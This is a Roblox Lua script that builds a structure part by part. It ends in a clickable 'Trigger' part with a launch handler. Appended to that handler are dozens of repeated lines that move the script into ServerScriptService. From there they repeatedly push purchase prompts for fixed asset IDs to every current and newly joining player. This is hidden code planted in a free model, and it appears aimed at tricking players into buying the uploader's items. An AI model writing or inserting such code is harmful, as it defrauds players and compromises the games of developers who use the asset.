- Part77.Orientation = Vector3.new(0, 90, -90)
- Part77.Position = Vector3.new(-4.80555058, 89.8364487, 19.6297913)
- Part77.Rotation = Vector3.new(-90, 90, 0)
- Part77.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part77.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part77.Anchored = true
- Part77.BottomSurface = Enum.SurfaceType.Smooth
- Part77.BrickColor = BrickColor.new("Institutional white")
- Part77.Material = Enum.Material.DiamondPlate
- Part77.TopSurface = Enum.SurfaceType.Smooth
- Part77.brickColor = BrickColor.new("Institutional white")
- Part78.Parent = mas
- Part78.CFrame = CFrame.new(-1.15546131, 86.7865067, 20.6077881, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part78.Orientation = Vector3.new(0, 60, -90)
- Part78.Position = Vector3.new(-1.15546131, 86.7865067, 20.6077881)
- Part78.Rotation = Vector3.new(0, 60, -90)
- Part78.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part78.Transparency = 0.80000001192093
- Part78.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part78.Anchored = true
- Part78.BottomSurface = Enum.SurfaceType.Smooth
- Part78.BrickColor = BrickColor.new("Sand blue")
- Part78.Material = Enum.Material.Glass
- Part78.TopSurface = Enum.SurfaceType.Smooth
- Part78.brickColor = BrickColor.new("Sand blue")
- Part79.Parent = mas
- Part79.CFrame = CFrame.new(-11.1276178, 89.8364487, 30.5801086, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part79.Orientation = Vector3.new(0, 30, -90)
- Part79.Position = Vector3.new(-11.1276178, 89.8364487, 30.5801086)
- Part79.Rotation = Vector3.new(0, 30, -90)
- Part79.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part79.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part79.Anchored = true
- Part79.BottomSurface = Enum.SurfaceType.Smooth
- Part79.BrickColor = BrickColor.new("Institutional white")
- Part79.Material = Enum.Material.DiamondPlate
- Part79.TopSurface = Enum.SurfaceType.Smooth
- Part79.brickColor = BrickColor.new("Institutional white")
- Part80.Parent = mas
- Part80.CFrame = CFrame.new(0.0196142197, 91.1864243, 26.929924, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part80.Orientation = Vector3.new(0, 0, -90)
- Part80.Position = Vector3.new(0.0196142197, 91.1864243, 26.929924)
- Part80.Rotation = Vector3.new(0, 0, -90)
- Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part80.Size = Vector3.new(0.700000048, 4.8499999, 3)
- Part80.Anchored = true
- Part80.BottomSurface = Enum.SurfaceType.Smooth
- Part80.BrickColor = BrickColor.new("Dark stone grey")
- Part80.Material = Enum.Material.Metal
- Part80.TopSurface = Enum.SurfaceType.Smooth
- Part80.brickColor = BrickColor.new("Dark stone grey")
- Part81.Parent = mas
- Part81.CFrame = CFrame.new(-4.80555058, 56.5367966, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part81.Orientation = Vector3.new(0, 90, -90)
- Part81.Position = Vector3.new(-4.80555058, 56.5367966, 26.9299011)
- Part81.Rotation = Vector3.new(-90, 90, 0)
- Part81.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part81.Size = Vector3.new(2.90000153, 15, 15)
- Part81.Anchored = true
- Part81.BottomSurface = Enum.SurfaceType.Smooth
- Part81.BrickColor = BrickColor.new("Institutional white")
- Part81.Material = Enum.Material.DiamondPlate
- Part81.TopSurface = Enum.SurfaceType.Smooth
- Part81.brickColor = BrickColor.new("Institutional white")
- Part81.Shape = Enum.PartType.Cylinder
- Part82.Parent = mas
- Part82.CFrame = CFrame.new(3.9994421, 10.0569725, 35.7488403, 0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, 0.707106829)
- Part82.Orientation = Vector3.new(0, -45, 0)
- Part82.Position = Vector3.new(3.9994421, 10.0569725, 35.7488403)
- Part82.Rotation = Vector3.new(0, -45, 0)
- Part82.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part82.Size = Vector3.new(9.94999695, 1.15999997, 0.5)
- Part82.Anchored = true
- Part82.BottomSurface = Enum.SurfaceType.Smooth
- Part82.BrickColor = BrickColor.new("Really black")
- Part82.Material = Enum.Material.Metal
- Part82.TopSurface = Enum.SurfaceType.Smooth
- Part82.brickColor = BrickColor.new("Really black")
- Part83.Parent = mas
- Part83.CFrame = CFrame.new(-4.80555058, 91.7363892, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part83.Orientation = Vector3.new(0, 90, -90)
- Part83.Position = Vector3.new(-4.80555058, 91.7363892, 26.9299011)
- Part83.Rotation = Vector3.new(-90, 90, 0)
- Part83.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part83.Size = Vector3.new(0.499999315, 15, 15)
- Part83.Anchored = true
- Part83.BottomSurface = Enum.SurfaceType.Smooth
- Part83.BrickColor = BrickColor.new("Institutional white")
- Part83.Material = Enum.Material.DiamondPlate
- Part83.TopSurface = Enum.SurfaceType.Smooth
- Part83.brickColor = BrickColor.new("Institutional white")
- Part83.Shape = Enum.PartType.Cylinder
- SurfaceLight84.Parent = Part83
- SurfaceLight84.Face = Enum.NormalId.Right
- SurfaceLight84.Range = 14
- SurfaceLight84.Brightness = 0.69999998807907
- Part85.Parent = mas
- Part85.CFrame = CFrame.new(-17.2808914, 38.6370621, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part85.Orientation = Vector3.new(0, 0, 90)
- Part85.Position = Vector3.new(-17.2808914, 38.6370621, 26.9052277)
- Part85.Rotation = Vector3.new(0, 0, 90)
- Part85.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part85.Size = Vector3.new(2.30000019, 10, 10)
- Part85.Anchored = true
- Part85.BottomSurface = Enum.SurfaceType.Smooth
- Part85.BrickColor = BrickColor.new("Institutional white")
- Part85.Material = Enum.Material.DiamondPlate
- Part85.TopSurface = Enum.SurfaceType.Smooth
- Part85.brickColor = BrickColor.new("Institutional white")
- Part85.Shape = Enum.PartType.Cylinder
- Part86.Parent = mas
- Part86.CFrame = CFrame.new(-17.2808914, 36.4370728, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part86.Orientation = Vector3.new(0, 0, 90)
- Part86.Position = Vector3.new(-17.2808914, 36.4370728, 26.9052277)
- Part86.Rotation = Vector3.new(0, 0, 90)
- Part86.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part86.Size = Vector3.new(2.09999752, 9, 9)
- Part86.Anchored = true
- Part86.BottomSurface = Enum.SurfaceType.Smooth
- Part86.BrickColor = BrickColor.new("Really black")
- Part86.Material = Enum.Material.DiamondPlate
- Part86.TopSurface = Enum.SurfaceType.Smooth
- Part86.brickColor = BrickColor.new("Really black")
- Part86.Shape = Enum.PartType.Cylinder
- Part87.Parent = mas
- Part87.CFrame = CFrame.new(0.0196142197, 90.8364029, 26.2299042, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part87.Orientation = Vector3.new(0, 0, -90)
- Part87.Position = Vector3.new(0.0196142197, 90.8364029, 26.2299042)
- Part87.Rotation = Vector3.new(0, 0, -90)
- Part87.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part87.Size = Vector3.new(0.0500000007, 3.8499999, 1)
- Part87.Anchored = true
- Part87.BottomSurface = Enum.SurfaceType.Smooth
- Part87.BrickColor = BrickColor.new("Institutional white")
- Part87.Material = Enum.Material.Neon
- Part87.TopSurface = Enum.SurfaceType.Smooth
- Part87.brickColor = BrickColor.new("Institutional white")
- Part88.Parent = mas
- Part88.CFrame = CFrame.new(-3.15720463, 83.8477097, 33.5296326, 0, 0, -1, -0.996194661, -0.0871569663, 0, -0.0871569663, 0.996194661, 0)
- Part88.Orientation = Vector3.new(0, -90, -95)
- Part88.Position = Vector3.new(-3.15720463, 83.8477097, 33.5296326)
- Part88.Rotation = Vector3.new(95, -90, 0)
- Part88.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part88.Anchored = true
- Part88.BottomSurface = Enum.SurfaceType.Smooth
- Part88.Material = Enum.Material.Metal
- Part88.TopSurface = Enum.SurfaceType.Smooth
- Part89.Parent = mas
- Part89.CFrame = CFrame.new(-17.2808914, 36.7871971, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part89.Orientation = Vector3.new(0, 0, 90)
- Part89.Position = Vector3.new(-17.2808914, 36.7871971, 26.9052277)
- Part89.Rotation = Vector3.new(0, 0, 90)
- Part89.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part89.Size = Vector3.new(0.5, 10, 10)
- Part89.Anchored = true
- Part89.BottomSurface = Enum.SurfaceType.Smooth
- Part89.BrickColor = BrickColor.new("Institutional white")
- Part89.Material = Enum.Material.DiamondPlate
- Part89.TopSurface = Enum.SurfaceType.Smooth
- Part89.brickColor = BrickColor.new("Institutional white")
- Part89.Shape = Enum.PartType.Cylinder
- Part90.Parent = mas
- Part90.CFrame = CFrame.new(-17.2808914, 35.9871788, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part90.Orientation = Vector3.new(0, 0, 90)
- Part90.Position = Vector3.new(-17.2808914, 35.9871788, 26.9052277)
- Part90.Rotation = Vector3.new(0, 0, 90)
- Part90.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part90.Size = Vector3.new(0.5, 10, 10)
- Part90.Anchored = true
- Part90.BottomSurface = Enum.SurfaceType.Smooth
- Part90.BrickColor = BrickColor.new("Institutional white")
- Part90.Material = Enum.Material.DiamondPlate
- Part90.TopSurface = Enum.SurfaceType.Smooth
- Part90.brickColor = BrickColor.new("Institutional white")
- Part90.Shape = Enum.PartType.Cylinder
- Part91.Parent = mas
- Part91.CFrame = CFrame.new(-17.2808914, 23.787056, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part91.Orientation = Vector3.new(0, 0, -90)
- Part91.Position = Vector3.new(-17.2808914, 23.787056, 26.9052277)
- Part91.Rotation = Vector3.new(0, 0, -90)
- Part91.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part91.Size = Vector3.new(22.300005, 10, 10)
- Part91.Anchored = true
- Part91.BottomSurface = Enum.SurfaceType.Smooth
- Part91.BrickColor = BrickColor.new("Institutional white")
- Part91.Material = Enum.Material.DiamondPlate
- Part91.TopSurface = Enum.SurfaceType.Smooth
- Part91.brickColor = BrickColor.new("Institutional white")
- Part91.Shape = Enum.PartType.Cylinder
- Part92.Parent = mas
- Part92.CFrame = CFrame.new(-17.2808914, 35.1871414, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part92.Orientation = Vector3.new(0, 0, 90)
- Part92.Position = Vector3.new(-17.2808914, 35.1871414, 26.9052277)
- Part92.Rotation = Vector3.new(0, 0, 90)
- Part92.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part92.Size = Vector3.new(0.5, 10, 10)
- Part92.Anchored = true
- Part92.BottomSurface = Enum.SurfaceType.Smooth
- Part92.BrickColor = BrickColor.new("Institutional white")
- Part92.Material = Enum.Material.DiamondPlate
- Part92.TopSurface = Enum.SurfaceType.Smooth
- Part92.brickColor = BrickColor.new("Institutional white")
- Part92.Shape = Enum.PartType.Cylinder
- Part93.Parent = mas
- Part93.CFrame = CFrame.new(-11.1276293, 83.6865692, 23.2797852, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part93.Orientation = Vector3.new(0, 150, -90)
- Part93.Position = Vector3.new(-11.1276293, 83.6865692, 23.2797852)
- Part93.Rotation = Vector3.new(-180, 30, 90)
- Part93.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part93.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part93.Anchored = true
- Part93.BottomSurface = Enum.SurfaceType.Smooth
- Part93.BrickColor = BrickColor.new("Institutional white")
- Part93.Material = Enum.Material.DiamondPlate
- Part93.TopSurface = Enum.SurfaceType.Smooth
- Part93.brickColor = BrickColor.new("Institutional white")
- Part94.Parent = mas
- Part94.CFrame = CFrame.new(-10.4306269, 82.4865036, 26.904892, 0, -1, -0, -1, 0, 0, 0, 0, -1)
- Part94.Orientation = Vector3.new(0, -180, -90)
- Part94.Position = Vector3.new(-10.4306269, 82.4865036, 26.904892)
- Part94.Rotation = Vector3.new(-180, 0, 90)
- Part94.Size = Vector3.new(1.00000083, 2.44999957, 2.35000086)
- Part94.Anchored = true
- Part94.BottomSurface = Enum.SurfaceType.Smooth
- Part94.LeftSurface = Enum.SurfaceType.Weld
- Part94.Material = Enum.Material.Metal
- Part94.TopSurface = Enum.SurfaceType.Smooth
- Part95.Parent = mas
- Part95.CFrame = CFrame.new(-6.2071619, 83.8477097, 20.0274048, 0, 0, 1, -0.996194661, -0.0871569663, 0, 0.0871569663, -0.996194661, 0)
- Part95.Orientation = Vector3.new(0, 90, -95)
- Part95.Position = Vector3.new(-6.2071619, 83.8477097, 20.0274048)
- Part95.Rotation = Vector3.new(-95, 90, 0)
- Part95.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part95.Anchored = true
- Part95.BottomSurface = Enum.SurfaceType.Smooth
- Part95.Material = Enum.Material.Metal
- Part95.TopSurface = Enum.SurfaceType.Smooth
- Part96.Parent = mas
- Part96.CFrame = CFrame.new(-11.5597467, 83.8477097, 28.4299622, 0.0871569663, -0.996194661, 0, -0.996194661, -0.0871569663, 0, 0, 0, -1)
- Part96.Orientation = Vector3.new(0, 180, -95)
- Part96.Position = Vector3.new(-11.5597467, 83.8477097, 28.4299622)
- Part96.Rotation = Vector3.new(-180, 0, 85)
- Part96.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part96.Anchored = true
- Part96.BottomSurface = Enum.SurfaceType.Smooth
- Part96.Material = Enum.Material.Metal
- Part96.TopSurface = Enum.SurfaceType.Smooth
- Part97.Parent = mas
- Part97.CFrame = CFrame.new(-9.68045902, 91.1864243, 26.929924, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part97.Orientation = Vector3.new(0, 0, -90)
- Part97.Position = Vector3.new(-9.68045902, 91.1864243, 26.929924)
- Part97.Rotation = Vector3.new(0, 0, -90)
- Part97.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part97.Size = Vector3.new(0.700000048, 4.8499999, 3)
- Part97.Anchored = true
- Part97.BottomSurface = Enum.SurfaceType.Smooth
- Part97.BrickColor = BrickColor.new("Dark stone grey")
- Part97.Material = Enum.Material.Metal
- Part97.TopSurface = Enum.SurfaceType.Smooth
- Part97.brickColor = BrickColor.new("Dark stone grey")
- Part98.Parent = mas
- Part98.CFrame = CFrame.new(-4.68219852, 82.4865036, 21.1565247, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part98.Orientation = Vector3.new(0, 90, -90)
- Part98.Position = Vector3.new(-4.68219852, 82.4865036, 21.1565247)
- Part98.Rotation = Vector3.new(-90, 90, 0)
- Part98.Size = Vector3.new(1.00000083, 2.44999957, 2.35000086)
- Part98.Anchored = true
- Part98.BottomSurface = Enum.SurfaceType.Smooth
- Part98.LeftSurface = Enum.SurfaceType.Weld
- Part98.Material = Enum.Material.Metal
- Part98.TopSurface = Enum.SurfaceType.Smooth
- Part99.Parent = mas
- Part99.CFrame = CFrame.new(-9.68045902, 90.8364029, 26.2299042, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part99.Orientation = Vector3.new(0, 0, -90)
- Part99.Position = Vector3.new(-9.68045902, 90.8364029, 26.2299042)
- Part99.Rotation = Vector3.new(0, 0, -90)
- Part99.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part99.Size = Vector3.new(0.0500000007, 3.8499999, 1)
- Part99.Anchored = true
- Part99.BottomSurface = Enum.SurfaceType.Smooth
- Part99.BrickColor = BrickColor.new("Institutional white")
- Part99.Material = Enum.Material.Neon
- Part99.TopSurface = Enum.SurfaceType.Smooth
- Part99.brickColor = BrickColor.new("Institutional white")
- Part100.Parent = mas
- Part100.CFrame = CFrame.new(-4.68219852, 83.8412476, 33.6043549, 0, 0, -1, -0.996194661, -0.0871569663, 0, -0.0871569663, 0.996194661, 0)
- Part100.Orientation = Vector3.new(0, -90, -95)
- Part100.Position = Vector3.new(-4.68219852, 83.8412476, 33.6043549)
- Part100.Rotation = Vector3.new(95, -90, 0)
- Part100.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Part100.Size = Vector3.new(3.89999962, 0.50000006, 2.35000134)
- Part100.Anchored = true
- Part100.BottomSurface = Enum.SurfaceType.Smooth
- Part100.BrickColor = BrickColor.new("Cyan")
- Part100.Material = Enum.Material.Metal
- Part100.TopSurface = Enum.SurfaceType.Smooth
- Part100.brickColor = BrickColor.new("Cyan")
- Part101.Parent = mas
- Part101.CFrame = CFrame.new(1.51647472, 86.7867355, 23.2800598, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part101.Orientation = Vector3.new(0, 30, -90)
- Part101.Position = Vector3.new(1.51647472, 86.7867355, 23.2800598)
- Part101.Rotation = Vector3.new(0, 30, -90)
- Part101.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part101.Transparency = 0.80000001192093
- Part101.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part101.Anchored = true
- Part101.BottomSurface = Enum.SurfaceType.Smooth
- Part101.BrickColor = BrickColor.new("Sand blue")
- Part101.Material = Enum.Material.Glass
- Part101.TopSurface = Enum.SurfaceType.Smooth
- Part101.brickColor = BrickColor.new("Sand blue")
- Part102.Name = "Trigger"
- Part102.Parent = mas
- Part102.CFrame = CFrame.new(-9.55243778, 84.0914993, 28.4589691, -0.99999696, -8.55715552e-06, -2.15892578e-05, -8.97794962e-06, 0.999994397, -2.76068022e-08, 2.15943037e-05, -2.76031642e-08, -1)
- Part102.Orientation = Vector3.new(0, -180, 0)
- Part102.Position = Vector3.new(-9.55243778, 84.0914993, 28.4589691)
- Part102.Rotation = Vector3.new(180, 0, 180)
- Part102.Color = Color3.new(0.203922, 0.556863, 0.25098)
- Part102.Size = Vector3.new(0.400000006, 0.210000023, 0.400000006)
- Part102.Anchored = true
- Part102.BrickColor = BrickColor.new("Sea green")
- Part102.Material = Enum.Material.Neon
- Part102.brickColor = BrickColor.new("Sea green")
- ClickDetector103.Parent = Part102
- ClickDetector103.MaxActivationDistance = 12
- CylinderMesh104.Parent = Part102
- Script105.Parent = Part102
- table.insert(cors,sandbox(Script105,function()
- function onClicked()
- script.Parent.ClickDetector.MaxActivationDistance=0
- script.Parent.Parent.Core.A:Play()
- script.Parent.BrickColor=BrickColor.new("Bright red")
- script.Parent.Parent.Parent.Parent.Launch:Fire()
- end
- script.Parent.ClickDetector.MouseClick:connect(onClicked)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
